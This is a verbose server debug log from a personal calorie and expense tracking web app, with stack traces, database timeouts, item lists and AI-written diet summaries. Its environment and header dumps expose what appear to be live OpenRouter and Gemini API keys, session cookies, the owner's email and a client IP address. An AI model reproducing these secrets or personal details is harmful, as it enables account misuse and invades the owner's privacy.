    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:699:20)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:684:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-23T12:33:35.813Z server-connect:server Got error? /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:176
      ${escapedText}
       ^

SyntaxError: Unexpected token '{'
    at wrapSafe (node:internal/modules/cjs/loader:1620:18)
    at Module._compile (node:internal/modules/cjs/loader:1662:20)
    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:699:20)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:684:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-23T12:33:56.170Z server-connect:app Executing action step identify
2025-12-23T12:33:56.170Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:56.170Z server-connect:output identity: 1
2025-12-23T12:33:58.824Z server-connect:app Executing action step identify
2025-12-23T12:33:58.825Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:58.825Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 12:38:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 12:38:14' as DATETIME)"
}
2025-12-23T12:41:35.966Z server-connect:app Executing action step identify
2025-12-23T12:41:35.966Z server-connect:app options: { provider: 'security' }
2025-12-23T12:41:35.966Z server-connect:output identity: 1
2025-12-23T12:41:38.815Z server-connect:app Executing action step identify
2025-12-23T12:41:38.815Z server-connect:app options: { provider: 'security' }
2025-12-23T12:41:38.815Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 12:51:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 12:51:30' as DATETIME)"
}
2025-12-23T13:00:33.554Z server-connect:router Serving templateView /calorie-tracker
2025-12-23T13:00:33.555Z server-connect:app Executing action step identify
2025-12-23T13:00:33.555Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:33.555Z server-connect:output identity: 1
2025-12-23T13:00:33.555Z server-connect:app Executing action step restrict
2025-12-23T13:00:33.555Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T13:00:33.557Z server-connect:output restrict: undefined
2025-12-23T13:00:33.557Z server-connect:router Render template layouts/main
2025-12-23T13:00:33.557Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-23T13:00:33.758Z server-connect:app Executing action step identify
2025-12-23T13:00:33.758Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:33.759Z server-connect:output identity: 1
2025-12-23T13:00:34.559Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-23T13:00:34.562Z server-connect:app Executing action step identify
2025-12-23T13:00:34.562Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:34.562Z server-connect:output identity: 1
2025-12-23T13:00:34.562Z server-connect:app Executing action step restrict
2025-12-23T13:00:34.562Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T13:00:34.564Z server-connect:output restrict: undefined
2025-12-23T13:00:34.564Z server-connect:app Executing action step select
2025-12-23T13:00:34.564Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-23T13:00:34.567Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-23T13:00:34.569Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-23T13:00:34.572Z server-connect:app Executing action step identify
2025-12-23T13:00:34.572Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:34.572Z server-connect:output identity: 1
2025-12-23T13:00:34.572Z server-connect:app Executing action step restrict
2025-12-23T13:00:34.572Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T13:00:34.573Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-23T13:00:34.573Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-23T13:00:34.573Z server-connect:output restrict: undefined
2025-12-23T13:00:34.573Z server-connect:app Executing action step single
2025-12-23T13:00:34.573Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-23T13:00:34.575Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-23T13:00:34.575Z server-connect:app Executing action step identify
2025-12-23T13:00:34.575Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:34.575Z server-connect:output identity: 1
2025-12-23T13:00:34.575Z server-connect:app Executing action step restrict
2025-12-23T13:00:34.575Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:34.575Z server-connect:output restrict: undefined
2025-12-23T13:00:34.575Z server-connect:app Executing action step single
2025-12-23T13:00:34.576Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-23T13:00:34.576Z server-connect:app Executing action step identify
2025-12-23T13:00:34.576Z server-connect:app options: { provider: 'security' }
2025-12-23T13:00:34.576Z server-connect:output identity: 1
2025-12-23T13:00:34.577Z server-connect:app Executing action step restrict
2025-12-23T13:00:34.577Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T13:00:34.577Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "Today's food intake appears to be a mix of traditional Indian meals and some processed snacks. While there's a good foundation with roti and sabzi, the inclusion of potato bites, digestive biscuits, and ladoo might not optimally support muscle development and fat loss goals. Protein intake seems to be on the lower side for someone training five times a week with these objectives. Meal timing appears somewhat spread out, which is generally fine, but focusing on nutrient-dense choices would enhance recovery.",
    bad_points: [
      'Protein intake appears to be insufficient for muscle development goals.',
      'Inclusion of processed snacks like potato bites and digestive biscuits may not align with fat loss objectives.',
      'Ladoo is a high-sugar, high-fat item that could hinder progress.'
    ],
    good_points: [
      'Included traditional Indian staples like roti and aloo tamatar sabji.',
      'Incorporated green tea, which is a good hydration choice.',
      'Consumed makhana, a relatively healthy snack option.'
    ],
    suggestions: [
      'Prioritize protein sources in each meal, such as lean meats, fish, eggs, dairy, or legumes.',
      'Reduce intake of processed snacks and sweets, opting for fruits or nuts instead.',
      'Ensure adequate hydration throughout the day.',
      'Consider incorporating more vegetables for fiber and micronutrients.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with occasional plateaus.'
  },
  date: '2025-12-22T18:30:00.000Z'
}
2025-12-23T13:00:34.578Z server-connect:output restrict: undefined
2025-12-23T13:00:34.578Z server-connect:app Executing action step single
2025-12-23T13:00:34.578Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-23T13:00:34.580Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-23T13:00:34.580Z server-connect:app Executing action step select
2025-12-23T13:00:34.581Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-23T13:00:34.583Z server-connect:output item_list: [
  {
    id: 493,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'McCain Potato Bites',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 9,
    quantity: '1 serving (approx. 85g, based on typical serving size)',
    replacements: 'Baked potato wedges (plain),Air-fried sweet potato fries,Steamed or roasted vegetables',
    created_at: '2025-12-22T22:21:30.000Z',
    skip_level: 3,
    skip_reason: 'McCain Potato Bites are typically deep-fried and high in unhealthy fats and sodium. While they provide some carbohydrates for energy, the processing and frying method make them less ideal for muscle development and overall health compared to whole, unprocessed foods. For muscle development, focusing on lean protein and complex carbohydrates is more beneficial.'
  },
  {
    id: 494,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-23T00:40:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 495,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-23T04:03:11.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, especially for muscle development. Whole wheat is better.'
  },
  {
    id: 496,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Aloo Tamatar Sabji',
    calories: 150,
    protein_gm: 3,
    carbs_gm: 25,
    fat_gm: 5,
    quantity: '1 serving (approx 150g)',
    replacements: 'Sabzi with more leafy greens (e.g., palak sabzi),Sabzi with less potato and more other vegetables (e.g., mixed vegetable sabzi),Boiled or steamed vegetables',
    created_at: '2025-12-23T04:03:11.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are a good source of carbs, but can be high in calories depending on preparation (e.g., too much oil). For muscle development, focus on lean protein and complex carbs. While not bad, there are more nutrient-dense vegetable options.'
  },
  {
    id: 497,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 140,
    protein_gm: 2,
    carbs_gm: 20,
    fat_gm: 6,
    quantity: '2 biscuits',
    replacements: 'Whole-wheat crackers (plain),Rice cakes,Cucumber slices with hummus',
    created_at: '2025-12-23T07:04:01.000Z',
    skip_level: 2,
    skip_reason: "While 'digestive' sounds healthy, these often contain refined flour, sugar, and unhealthy fats. For muscle development, you want nutrient-dense carbs and protein, not empty calories."
  },
  {
    id: 498,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Ladoo',
    calories: 200,
    protein_gm: 4,
    carbs_gm: 25,
    fat_gm: 10,
    quantity: '1 piece',
    replacements: 'Date and nut energy balls (homemade, less sugar),A small piece of fruit,Greek yogurt with berries',
    created_at: '2025-12-23T07:04:01.000Z',
    skip_level: 3,
